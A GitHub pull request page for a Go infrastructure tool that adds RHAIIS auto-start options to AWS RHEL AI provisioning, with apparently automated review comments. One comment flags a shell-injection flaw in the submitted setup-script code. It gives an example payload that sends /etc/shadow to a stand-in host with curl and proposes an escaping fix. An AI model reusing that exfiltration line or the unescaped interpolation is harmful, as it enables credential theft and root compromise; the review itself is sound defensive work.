-
Notifications
You must be signed in to change notification settings - Fork 33
feat(aws): add RHAIIS auto-start flags for RHEL AI provisioning #835
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -40,6 +40,10 @@ type rhelAIRequest struct { | |
| serviceEndpoints []string | ||
| allocationData *allocation.AllocationResult | ||
| diskSize *int | ||
| model *string | ||
| hfToken *string | ||
| apiKey *string | ||
| autoStart bool | ||
| } | ||
|
|
||
| func (r *rhelAIRequest) validate() error { | ||
|
|
@@ -73,7 +77,11 @@ func Create(mCtxArgs *mc.ContextArgs, args *apiRHELAI.RHELAIArgs) (err error) { | |
| arch: &args.Arch, | ||
| timeout: &args.Timeout, | ||
| serviceEndpoints: args.ServiceEndpoints, | ||
| diskSize: args.ComputeRequest.DiskSize} | ||
| diskSize: args.ComputeRequest.DiskSize, | ||
| model: &args.Model, | ||
| hfToken: &args.HFToken, | ||
| apiKey: &args.APIKey, | ||
| autoStart: args.AutoStart} | ||
| if args.Spot != nil { | ||
| r.spot = args.Spot.Spot | ||
| } | ||
|
|
@@ -224,8 +232,26 @@ func (r *rhelAIRequest) deploy(ctx *pulumi.Context) error { | |
| return err | ||
| } | ||
| } | ||
| return c.Readiness(ctx, command.CommandPing, *r.prefix, awsRHELDedicatedID, | ||
| keyResources.PrivateKey, amiUserDefault, nil, c.Dependencies) | ||
| if !r.autoStart { | ||
| return c.Readiness(ctx, command.CommandPing, *r.prefix, awsRHELDedicatedID, | ||
| keyResources.PrivateKey, amiUserDefault, nil, c.Dependencies) | ||
| } | ||
| readinessCmd, err := c.RunCommand(ctx, | ||
| command.CommandPing, | ||
| compute.LoggingCmdStd, | ||
| fmt.Sprintf("%s-readiness", *r.prefix), awsRHELDedicatedID, | ||
| keyResources.PrivateKey, amiUserDefault, | ||
| nil, c.Dependencies) | ||
| if err != nil { | ||
| return err | ||
| } | ||
| _, err = c.RunCommand(ctx, | ||
| r.rhaiisSetupScript(), | ||
| compute.NoLoggingCmdStd, | ||
| fmt.Sprintf("%s-rhaiis-setup", *r.prefix), awsRHELDedicatedID, | ||
| keyResources.PrivateKey, amiUserDefault, | ||
| nil, []pulumi.Resource{readinessCmd}) | ||
| return err | ||
| } | ||
|
|
||
| // Write exported values in context to files o a selected target folder | ||
|
|
@@ -263,6 +289,30 @@ func (r *rhelAIRequest) securityGroups(ctx *pulumi.Context, mCtx *mc.Context, | |
| return pulumi.StringArray(sgs[:]), nil | ||
| } | ||
|
|
||
| func (r *rhelAIRequest) rhaiisSetupScript() string { | ||
| confDir := "/etc/containers/systemd/rhaiis.container.d" | ||
| script := fmt.Sprintf( | ||
| "sudo cp %s/install.conf.example %s/install.conf", | ||
| confDir, confDir) | ||
| if len(*r.hfToken) > 0 { | ||
| script += fmt.Sprintf( | ||
| " && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf", | ||
| *r.hfToken, confDir) | ||
| } | ||
| if len(*r.model) > 0 { | ||
| script += fmt.Sprintf( | ||
| ` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`, | ||
| *r.model, confDir) | ||
| } | ||
| if len(*r.apiKey) > 0 { | ||
| script += fmt.Sprintf( | ||
| " && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf", | ||
| *r.apiKey, confDir) | ||
| } | ||
| script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis" | ||
| return script | ||
| } | ||
|
Comment on lines
+292
to
+314
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Shell injection vulnerability: sanitize user-controlled inputs before shell interpolation. User-controlled values ( Example attack: --hf-token='secret && curl evil.com/exfil?data=$(cat /etc/shadow)'This would produce: sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=secret && curl evil.com/exfil?data=$(cat /etc/shadow)|' ...While 🛡️ Recommended fix using shell escapingUse shell quoting/escaping for all user-controlled interpolations. For bash, use func (r *rhelAIRequest) rhaiisSetupScript() string {
confDir := "/etc/containers/systemd/rhaiis.container.d"
script := fmt.Sprintf(
"sudo cp %s/install.conf.example %s/install.conf",
confDir, confDir)
if len(*r.hfToken) > 0 {
+ escapedToken := shellescape.Quote(*r.hfToken)
script += fmt.Sprintf(
- " && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf",
- *r.hfToken, confDir)
+ " && sudo sed -i \"s|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|\" %s/install.conf",
+ escapedToken, confDir)
}
if len(*r.model) > 0 {
+ escapedModel := shellescape.Quote(*r.model)
script += fmt.Sprintf(
- ` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`,
- *r.model, confDir)
+ " && sudo sed -i \"s|--model .*|--model %s \\\\|\" %s/install.conf",
+ escapedModel, confDir)
}
if len(*r.apiKey) > 0 {
+ escapedKey := shellescape.Quote(*r.apiKey)
script += fmt.Sprintf(
- " && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf",
- *r.apiKey, confDir)
+ " && sudo sed -i \"/\\\\[Install\\\\]/i Environment=VLLM_API_KEY=%s\" %s/install.conf",
+ escapedKey, confDir)
}
script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis"
return script
}Consider using a shell-escaping library like 🤖 Prompt for AI Agents |
||
|
|
||
| func checkAMIExists(ctx context.Context, amiName, region, arch *string) error { | ||
| isAMIOffered, _, err := data.IsAMIOffered( | ||
| ctx, | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fix boolean flag handling to respect explicit false values.
Line 69 uses
viper.IsSet()which only checks if the flag was provided, not its boolean value. This means--auto-start=falsewould incorrectly setAutoStarttotrue, breaking the ability to explicitly disable auto-start.🐛 Proposed fix
📝 Committable suggestion
🤖 Prompt for AI Agents